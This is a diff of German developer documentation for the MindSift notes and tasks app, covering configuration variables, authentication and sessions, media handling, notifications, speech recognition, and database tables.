 | `LIST_CREATED`, `LIST_UPDATED`, `LIST_DELETED`, `LIST_SHARED`, `LIST_UNSHARED`, `LIST_CLEARED` | Listenverwaltung | Benutzer bzw. Raum der Liste |
 | `ITEM_CREATED`, `ITEM_UPDATED`, `ITEM_TOGGLED`, `ITEM_DELETED`, `ITEM_REORDERED` | Listeneinträge | Raum der Liste |
 | `USER_PRESENCE` | Verbindung auf-/abgebaut (`onlineCount`) | Raum |
+| `DEMO_RESET` | Periodischer Reset im Demo-Modus; Clients verwerfen lokale Caches und laden Daten neu | Alle aktiven Verbindungen |
 | `SSE_CONNECTED` | Nur SSE, direkt nach Verbindung | Verbindung |
 
 ## Verhalten im Frontend

Doku/architecture.md

@@ -60,30 +60,69 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
 | `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
 | `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert |
 | `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` |
-| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen (`internal/api/loginguard.go`), `false` = aus |
+| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen und Limits für Registrierung und „Passwort vergessen“ (`internal/api/loginguard.go`), `false` = aus |
 | `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail |
 | `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) |
-| `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang |
+| `REGISTRATION_MODE`, `REGISTRATION_DOMAINS` | leer | Registrierung ohne Einladung (`closed`, `approval`, `domain`, `domain+approval`, `open`) und erlaubte E-Mail-Endungen. Gesetzt gewinnen sie über `system_settings` und sind im Admin-UI gesperrt (`registrationPolicy` in `internal/api/registration.go`). Wartende Konten: `is_active = 0` plus Zeile in `pending_registrations` (Migration 10) |
+| `REGISTRATION_VERIFY_EMAIL` | leer | E-Mail-Bestätigung neuer Konten ohne Einladung (nur mit SMTP und `BASE_URL`). Token wie beim Passwort-Link nur als SHA-256 in `email_verifications` (Migration 11), 48 Stunden gültig; danach löscht die Verdichtung das unbestätigte Konto. Bei Freigabe-Modi erfahren Admins erst nach der Bestätigung davon |
+| `ALLOW_REGISTRATION` | `false` | `true` = `REGISTRATION_MODE=open`; `false` (Standard der Vorlagen) lässt die Wahl dem Admin-UI |
 | `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
-| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen |
+| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen. Die Demo verschickt nichts (keine Alarme, Test- oder Hinweismails, Webhooks), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail und Konten der gemeinsam genutzten Demo-Konten lassen sich nicht ändern (`notInDemo` in `internal/api/demo.go`). Wer auf einem Gerät noch kein Theme gewählt hat, sieht die Demo in Fjord Nacht (rund) statt im eckigen Standard (`DEMO_THEME` in `lib/theme.ts`) |
 | `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. |
 | `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
+| `SMTP_FROM_NAME` | `MindSift` | Anzeigename des Absenders, wenn `SMTP_FROM` nur eine Adresse ist (`From: "MindSift" <adresse>`, der SMTP-Umschlag bleibt die reine Adresse); ein Name in `SMTP_FROM` hat Vorrang |
 | `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) |
+| `NOTIFY_DIGEST_MINUTES` | `5` | Benachrichtigungen (Freigaben, beobachtete Aufgaben …) werden gesammelt und höchstens alle so viele Minuten gebündelt verschickt |
+| `VAPID_PUBLIC_KEY` / `VAPID_PRIVATE_KEY` | – | Schlüsselpaar für Web-Push; ohne Angabe einmal erzeugt und in `push_keys` gespeichert |
+| `VAPID_SUBJECT` | `BASE_URL` (wenn https) | Kontakt für die Push-Dienste (`mailto:` oder `https://`) |
+| `MEDIA_MAX_IMAGE_MB`, `MEDIA_MAX_AUDIO_MB` | `15` / `50` | Größtes Bild bzw. größte Audiodatei in Notizen in MB |
+| `MEDIA_QUOTA_MB` | `0` | Speicherplatz für Medien pro Benutzer in MB (`0` = unbegrenzt) |
+| `MEDIA_DEMO_MAX_MB` | `3` | Nur im Demo-Modus: maximale Dateigröße für Medien-Uploads in MB |
+| `STT_URL` | leer | Eigene Spracherkennung: Basis-URL eines OpenAI-kompatiblen Whisper-Servers (z. B. `http://whisper:8000`, speaches). Gesetzt = Server-Modus, sonst Spracherkennung des Browsers; in der Demo immer Browser |
+| `STT_MODEL`, `STT_LANGUAGE`, `STT_API_KEY` | `deepdml/faster-whisper-large-v3-turbo-ct2` / `de` / leer | Modell, Sprache (`auto` = erkennen), Schlüssel falls der Whisper-Server einen verlangt |
+| `STT_DISABLED` | `false` | `true` blendet die Spracheingabe überall aus |
+| `STT_MAX_SECONDS`, `STT_MAX_UPLOAD_MB` | `600` / `25` | Längste Aufnahme (stoppt im Browser), größte Aufnahme |
+| `STT_MAX_PARALLEL`, `STT_PER_USER_PER_HOUR`, `STT_TIMEOUT_SECONDS` | `1` / `60` / `120` | Gleichzeitige Erkennungen (weitere warten), Erkennungen pro Person und Stunde, Höchstdauer inkl. Warten |
 | `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
-| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
+| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster |
+| `LEGAL_IMPRINT_CONTENT_FILE`, `LEGAL_PRIVACY_CONTENT_FILE` | leer | Pfad zu einer Datei im Container mit Markdown-Inhalt für Impressum bzw. Datenschutz. Ohne URL und Text bleibt der Link unsichtbar. |
+| `LEGAL_CUSTOM_LINK_LABEL`, `LEGAL_CUSTOM_LINK_URL` | leer | Eigener Link im globalen Desktop-Footer (nur `https://`, sonst ignoriert) |
 
 Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in `DATA_DIR` genutzt wird; Postgres ist nicht implementiert.
 
 ## Authentifizierung
 
 - **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
-- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`).
-- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
-- **Logout** schreibt den Token-Hash in `revoked_tokens`.
-- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403`.
+- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). Dieselben Töpfe begrenzen pro Adresse Registrierungen (20) und „Passwort vergessen“ (10) je 15 Minuten; hier zählt jede Anfrage.
+- **Einladungscodes:** `INV-` plus 100 Zufallsbits in Base32. Die Registrierung beansprucht den Code, bevor das Konto entsteht (kein doppeltes Einlösen).
+- **JWT und Sitzungen:** HS256, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Jede Anmeldung legt eine Zeile in `sessions` an (Gerät, IP, letzte Nutzung); `jti` ist deren ID. Gültig ist ein Token nur, wenn die Sitzung aktiv ist (nicht beendet, höchstens 30 Tage unbenutzt), das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Ist das Token älter als 24 Stunden, schickt der Server im Header `X-Session-Token` ein neues für dieselbe Sitzung; das Frontend übernimmt es (`request()` in `lib/api.ts`). Aktive Geräte bleiben so angemeldet, unbenutzte fallen nach 30 Tagen heraus (`internal/api/sessions.go`). Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
+- **Logout** beendet die Sitzung des Geräts; `GET /auth/sessions` listet die Geräte, `DELETE /auth/sessions/{id}` meldet eines ab. Passwort und Login-E-Mail ändern sich nur mit dem aktuellen Passwort (`currentPassword`, falsche Eingaben zählen für die Login-Sperre); ein neues Passwort meldet alle anderen Geräte ab, dieses Gerät erhält per `X-Session-Token` ein neues Token. Ist SMTP eingerichtet, geht eine Hinweismail an die bisherige Adresse.
+- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key`. Scopes `webhook:*` liefern Daten an (`POST /inbox`, `POST /webhooks/ingest`), die Agenten-Scopes `tasks:read`, `tasks:write`, `lists:read`, `lists:write` gelten nur am MCP-Endpunkt (`POST /mcp`, `internal/api/mcp.go`); jedes Werkzeug prüft seinen Scope, `tools/list` zeigt nur erlaubte. Alle anderen Endpunkte antworten für Keys mit `403`; Notizen sind mit Keys nie erreichbar.
 - **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile.
 - **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
 
+## Medien in Notizen
+
+Bilder und Audio liegen in `$DATA_DIR/media/<docId>/<id>.<ext>`, beschrieben in der Tabelle `media` (Migration 5, `internal/storage/media.go`). Ein Block verweist über seinen Inhalt darauf, z. B. Typ `image` mit `![Beschriftung](media:med_…)`; damit laufen Verweise ohne Änderung am Sync-Modell durch Synchronisation, Rückgängig und Konflikte. Hochladen (`POST /documents/{id}/media`) braucht Schreibrecht auf die Notiz, Lesen (`GET /media/{id}`) Leserecht auf die Notiz der Datei oder auf eine Notiz, deren Blöcke sie zeigen (kopierte Blöcke). Das Format wird am Inhalt erkannt (JPEG, PNG, GIF, WebP; WebM, Ogg, MP3, WAV, M4A), SVG und alles andere wird abgelehnt; Antworten tragen eine eigene CSP mit `sandbox`. Externe Bilder kopiert der Server einmal (`POST /documents/{id}/media/fetch`, nur https und öffentliche Adressen wie bei Webhooks, nicht in der Demo). Grenzen: `MEDIA_MAX_IMAGE_MB`, `MEDIA_MAX_AUDIO_MB`, `MEDIA_QUOTA_MB`, in der Demo `MEDIA_DEMO_MAX_MB`. Backup-ZIP (`media/<id><ext>`) und Markdown-Archiv (`attachments/`, Einbettung `![Beschriftung](../attachments/…)` relativ zur Notiz) enthalten die Dateien der eigenen Notizen; beim Import bekommen sie neue IDs. Der Obsidian-Import übernimmt Bilder und Audio, die eine Notiz allein in einem Punkt einbettet (`![[datei.png]]` oder `![](pfad/datei.png)`); andere Dateien erscheinen in der Vorschau als übersprungen. Die Verdichtung (alle 6 Stunden) löscht Dateien, die kein Block mehr erwähnt (auch keine gelöschten im Papierkorb oder Protokoll), frühestens einen Tag nach dem Hochladen. Der Demo-Reset leert `media/`.
+
+## Notizen umbauen
+
+`internal/storage/restructure.go`: **Ast auslagern** liest den Ast und legt die neue Notiz an (Titel eindeutig, gleiche direkte und Gruppen-Freigaben, Besitzer der Ursprungsnotiz bekommt Schreibrecht). Den Ast in der Ursprungsnotiz ersetzt der Editor selbst durch `[[Titel]]` (Hashtags bleiben am Link) – als eigene Änderung über die Sync-Engine, damit sie nicht mit ungesendeten Eingaben kollidiert und Strg+Z sie zurücknimmt; dabei legt `/extract/undo` die neue Notiz in den Papierkorb. **Zusammenführen** hängt die Quelle als `h2`-Überschrift mit ihren Punkten als Unterpunkte an die Zielnotiz an (ebenfalls über Operationen, offene Editoren folgen live) und legt die Quelle in den Papierkorb; „Rückgängig“ löscht die Überschrift samt Unterpunkten und stellt die Quelle wieder her. Die Aktion läuft im Namen des Editor-Clients (`clientId`), damit dessen eigene Block-Sperren nicht stören. Bilder und Aufnahmen funktionieren weiter, weil der Zugriff über die Notizen läuft, die sie zeigen.
+
+## Benachrichtigungen
+
+`internal/api/notify.go`, `internal/storage/notifications.go` (Migration 7). Jede Person wählt pro Ereignisart die Kanäle – eigene E-Mail (Alarm-Adresse, sonst Konto-Adresse) eigener Discord-Webhook, eigener Webhook (`customWebhookUrl`, JSON per POST) und Web-Push an die eigenen Geräte (`internal/api/push.go`, Migration 9, Tabelle `push_subscriptions`; Geräte, die der Push-Dienst nicht mehr kennt (404/410), werden entfernt) –, gespeichert als JSON in `users.notification_settings` (`GET /auth/me`, `PATCH /auth/settings` → `notificationSettings`). Ereignisse: `due` (Fälligkeits-Alarm, sofort über den Alarm-Ticker), `shared` (Notiz, Ordner, Aufgabenliste oder Liste geteilt; bei Gruppen alle Mitglieder), `taskDone` (Aufgabe einer geteilten Liste erledigt), `watched` (jede Änderung an einer beobachteten Aufgabe, `task_watchers`, `POST/DELETE /tasks/{id}/watch`). Alles außer `due` landet in `notification_queue`; ein Job im Minutentakt schickt je Person eine gebündelte Nachricht, sobald das älteste Ereignis `NOTIFY_DIGEST_MINUTES` (Standard 5) alt ist (E-Mail als Text + HTML, Discord als ein Embed mit höchstens 10 Zeilen, eigener Webhook als JSON `{"event":"digest","heading","items":[{"kind","title","text"}],"link","timestamp"}`; fällige Aufgaben gehen dort als `{"event":"task_due",…}` einzeln raus), nach 3 Fehlversuchen wird verworfen. Eigene Änderungen benachrichtigen nie den Handelnden, außer bei beobachteten Aufgaben mit `includeOwnWatched`. `paused` stoppt alles, auch Alarme. **Tageszusammenfassung:** zur gewählten Uhrzeit (Server-Zeitzone, innerhalb von 30 Minuten, einmal pro Tag) überfällige, heutige und morgige offene Aufgaben samt Anzahl der folgenden 7 Tage; nichts fällig → keine Nachricht. Im Demo-Modus laufen die Jobs nicht.
+
+## Link-Vorschau
+
+Punkte mit einer reinen https-Adresse zeigen darüber eine Karte (`LinkPreviewCard`, `lib/linkPreview.ts`). `GET /link-preview?url=` holt die Seite serverseitig mit demselben Schutz wie Webhooks (nur https, keine internen Adressen, Weiterleitungen geprüft), liest `og:*`/`twitter:*`, `<title>`, `description` und das Icon aus dem `<head>` (höchstens 1 MB HTML, Bild 2 MB, Icon 100 KB, kein SVG) und speichert alles in `link_previews` (Migration 6): Erfolg 7 Tage, nichts Brauchbares 1 Tag, nach 30 Tagen gelöscht. Bilder kommen über `GET /link-preview/{key}/image|icon` mit Login. Pro Adresse höchstens 300 Abrufe in 15 Minuten (Antworten aus dem Cache zählen nicht). Ausblenden einer Karte macht aus der Adresse `[Titel](url)` (ein benannter Link hat keine Karte), damit synchronisiert die Wahl mit der Notiz; „Link-Vorschauen anzeigen“ unter Darstellung gilt pro Gerät. Im Demo-Modus aus.
+
+## Spracherkennung
+
+Nur über Umgebungsvariablen (`STT_*`, siehe oben), nicht in der Oberfläche; Administration → Server & Isolation zeigt den aktiven Modus, den Zustand des Whisper-Servers und bietet eine Testaufnahme. Alle Mikrofon-Knöpfe (Quick-Dump-Leiste, mobiles Erfassen-Sheet, Halten des +-Knopfs) nutzen denselben Hook `useVoiceInput` (`frontend/src/lib/voice.ts`, `useVoiceInput.ts`): `server` nimmt auf und zeigt „Wird erkannt…“, `browser` liefert Text schon beim Sprechen, `off` oder ein Browser ohne die nötige Funktion blendet das Mikrofon aus. Im Server-Modus zeigen Wellen den echten Mikrofonpegel (`VoiceWave`), die Aufnahme endet spätestens nach `STT_MAX_SECONDS`. Der Browser nimmt per `MediaRecorder` auf (WebM/Opus, in Safari MP4/AAC) und schickt die Aufnahme an `POST /voice/transcribe`; MindSift reicht sie an `STT_URL/v1/audio/transcriptions` weiter (`model`, `language`) und gibt nur den Text zurück. Nichts wird gespeichert oder protokolliert außer Fehlern (`internal/api/voice.go`). Beim Start wartet MindSift auf den Whisper-Server und stößt den Download des Modells an, falls es fehlt (`POST /v1/models/<id>` bei speaches).
+
+`docker-compose.yml` enthält den Dienst `whisper` (speaches 0.8.3, CPU) als auskommentierten Block: Rauten entfernen, `STT_URL=http://whisper:8000` in `.env` setzen, `docker compose up -d`; das Modell liegt in `./whisper` (Ordner gehört UID 1000). Gemessen auf einem Desktop mit 16 Kernen (int8) für einen Satz von 4 s: `Systran/faster-whisper-small` 1,6 s, `deepdml/faster-whisper-large-v3-turbo-ct2` 8 s bei besserer Erkennung (RAM ca. 1 bzw. 2 GB). Auf geteilten vCPUs ist mit dem Mehrfachen zu rechnen.
+
 ## Hintergrundjob: Alarme
 
 `startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Nach 3 Durchläufen ohne Erfolg gibt er auf (`alarm_failures`). Details und Einschränkungen: [modules/tasks.md](modules/tasks.md).
@@ -100,9 +139,11 @@ Stage 2  golang:1.23      go vet, go test, go build          → /app/mindsift (
 Stage 3  alpine:3.21      nur Binary, ca-certificates, tzdata
 ```
 
-**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`. Andere Branches bauen nicht.
+**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`; Vorabversionen (`v1.2.0-rc.1`) nur `:v1.2.0-rc.1`, `:stable` bleibt. Andere Branches bauen nicht.
 
-Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.2`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.2-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
+**Versionierung:** Ab v0.6.0 nach [Semantic Versioning](https://semver.org/spec/v2.0.0.html): `MAJOR.MINOR.PATCH`, Tags dreiteilig mit `v` (`v0.6.0`, `v1.0.0-rc.1`). Solange die Hauptversion 0 ist, erhöhen inkompatible Änderungen (API, Datenformate, Konfiguration) die mittlere Stelle, Fehlerbehebungen die letzte. Jede Änderung, die Benutzer oder Betreiber betrifft, kommt in [CHANGELOG.md](../CHANGELOG.md) unter „Unreleased“ (Format [Keep a Changelog](https://keepachangelog.com/de/1.1.0/)); beim Release wird der Abschnitt zur Version mit Datum, `frontend/package.json` bekommt die Versionsnummer.
+
+Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.6.0`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.6.0-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
 
 Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
 
@@ -110,7 +151,8 @@ Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go te
 
 [backups.go](../internal/api/backups.go) / [backup.go](../internal/storage/backup.go): Ist „Automatische Backups“ in den Admin-Einstellungen an, läuft einmal täglich zur eingestellten Uhrzeit (`backup_time`, Zeitzone `TZ`; nach einem Neustart wird ein verpasster Lauf am selben Tag nachgeholt):
 - `backups/system/mindsift-db-JJJJ-MM-TT-HHMM.db.gz`: Abzug der ganzen Datenbank per `VACUUM INTO` (stimmig, auch während geschrieben wird), gzip.
-- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto.
+- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto, mit den Bildern und Aufnahmen der eigenen Notizen unter `media/`.
+- **Achtung:** Der Datenbank-Abzug enthält keine Mediendateien. Wer den Server sichert, sichert den ganzen Ordner `data/` (Datenbank, `media/`, `backups/`).
 - Danach werden Dateien älter als `backup_retention_days` (Standard 3) gelöscht. Dateien entstehen über `.part` und Umbenennen, halbe Backups tauchen nie in der Liste auf. Die API liefert nur Dateien mit genau diesem Namensmuster aus.
 - Im Demo-Modus läuft kein Zeitplan. Zurückspielen eines Datenbank-Abzugs: Container stoppen, `mindsift.db` durch die entpackte Datei ersetzen, starten. Benutzer spielen ihre eigenen Backups in den Kontoeinstellungen ein, auch nur für einzelne Bereiche (Notizen, Aufgaben, Listen, Inbox, Themes).
 
@@ -120,6 +162,7 @@ Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go te
 - **Lese-Cache** ([lib/offline.ts](../frontend/src/lib/offline.ts)): Jede erfolgreiche GET-Antwort landet pro Benutzer in IndexedDB (`mindsift-offline`). Ohne Verbindung liefert `request()` die letzte bekannte Antwort; so startet die App offline angemeldet und zeigt Gedanken, Aufgaben und Listen. Ausgenommen: Streams, Long-Polling, Notiz-Sync (eigener Speicher, [modules/collaboration.md](modules/collaboration.md)), Export, Suche. Abmelden leert Cache und Warteschlange.
 - **Warteschlange (Outbox):** Offline erfasste Gedanken (`POST /inbox`) und abgehakte Aufgaben bzw. Listeneinträge (`PATCH`) werden in `localStorage` gesammelt, wiederholtes Umschalten zählt nur mit dem Endstand. Gesendet wird in Reihenfolge beim `online`-Ereignis, beim Start und alle 30 s, solange etwas wartet; vom Server abgelehnte Einträge (4xx) entfallen. Andere Änderungen brauchen weiterhin eine Verbindung.
 - **Hinweis:** Ein Banner über der unteren Navigation zeigt „Offline“ und die Zahl wartender Änderungen bzw. „Synchronisiere…“.
+- **Verbindungsstatus im Kopf** ([lib/useServerOnline.ts](../frontend/src/lib/useServerOnline.ts)): Maßgeblich ist die app-weite Echtzeit-Verbindung (WebSocket/SSE), nicht `navigator.onLine`; so fällt auch ein ausgefallener Server auf. Offline gilt erst nach 4 s ohne Verbindung (Start, kurze Reconnects), ohne Gerätenetz sofort. Desktop: „● offline“ unter dem Namen, nur ohne Verbindung; Handy: Punkt am Profilbild, grün oder rot.
 
 ## App-Icons, PWA & Social-Preview (Open Graph)
 

Doku/database.md

@@ -1,6 +1,6 @@
 # Datenbank
 
-SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`).
+SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`) und 96 Zufallsbits in Hex; ältere Datensätze haben kürzere IDs (40 Bit).
 
 
 ## Tabellen
@@ -8,18 +8,25 @@ SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `j
 ### Benutzer und Zugang
 | Tabelle | Zweck | Wichtige Spalten |
 |---|---|---|
-| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation) |
+| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation), `notification_settings` (JSON der Kanäle und Ereignisse), `last_daily_summary` (Datum des letzten Versands) |
 | `user_invites` | Einladungscodes | `code`, `email`, `role`, `organization_id`, `expires_at`, `used_by` |
-| `revoked_tokens` | Sperrliste ausgeloggter JWTs | `token_hash`, `expires_at` |
+| `media` | Bilder und Audio in Notizen (Migration 5); Datei unter `$DATA_DIR/media/<doc_id>/<id>.<ext>` | `id`, `doc_id`, `owner_id`, `kind` (`image`/`audio`), `mime`, `size`, `source_url` (kopiertes externes Bild), `created_at` |
+| `link_previews` | Zwischengespeicherte Link-Vorschauen (Migration 6) | `key` (Hash der URL), `url`, `title`, `description`, `site_name`, `image`/`icon` (BLOB, mit `*_mime`), `ok`, `fetched_at` |
+| `notification_queue` | Wartende Benachrichtigungen bis zum gebündelten Versand (Migration 7) | `user_id`, `kind` (`shared`/`taskDone`/`watched`), `payload` (JSON), `created_at`, `attempts` |
+| `task_watchers` | Beobachtete Aufgaben (Migration 7) | `task_id`, `user_id`, `created_at` |
+| `push_subscriptions` | Geräte mit Web-Push (Migration 9) | `user_id`, `endpoint` (eindeutig), `p256dh`, `auth`, `device`, `created_at` |
+| `push_keys` | VAPID-Schlüsselpaar, falls nicht per Umgebung gesetzt (Migration 9) | eine Zeile: `public_key`, `private_key` |
+| `journal_days` | Journal: welche Notiz zu welchem Tag gehört (Migration 8) | `user_id`, `day` (`JJJJ-MM-TT`), `doc_id`; Primärschlüssel `(user_id, day)` |
+| `sessions` | Angemeldete Geräte (Migration 4, ersetzt `revoked_tokens`) | `id` (= `jti` des Tokens), `user_id`, `created_at`, `last_used_at` (höchstens alle 5 Minuten aktualisiert), `user_agent`, `ip`, `revoked_at` (leer = aktiv) |
 | `user_themes` | Eigene CSS-Themes eines Benutzers | `user_id` (FK, `ON DELETE CASCADE`), `name`, `css_content` |
-| `api_keys` | Webhook-/API-Schlüssel | `key_prefix`, `key_hash` (SHA-256), `scopes` (nicht ausgewertet), `last_used_at` |
+| `api_keys` | Webhook-/API-Schlüssel | `name`, `key_prefix`, `key_hash` (SHA-256), `scopes` (`webhook:triage`, `webhook:task`, `webhook:list`), `last_used_at` |
 | `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` |
 
 ### Gedanken und Aufgaben
 | Tabelle | Zweck | Wichtige Spalten |
 |---|---|---|
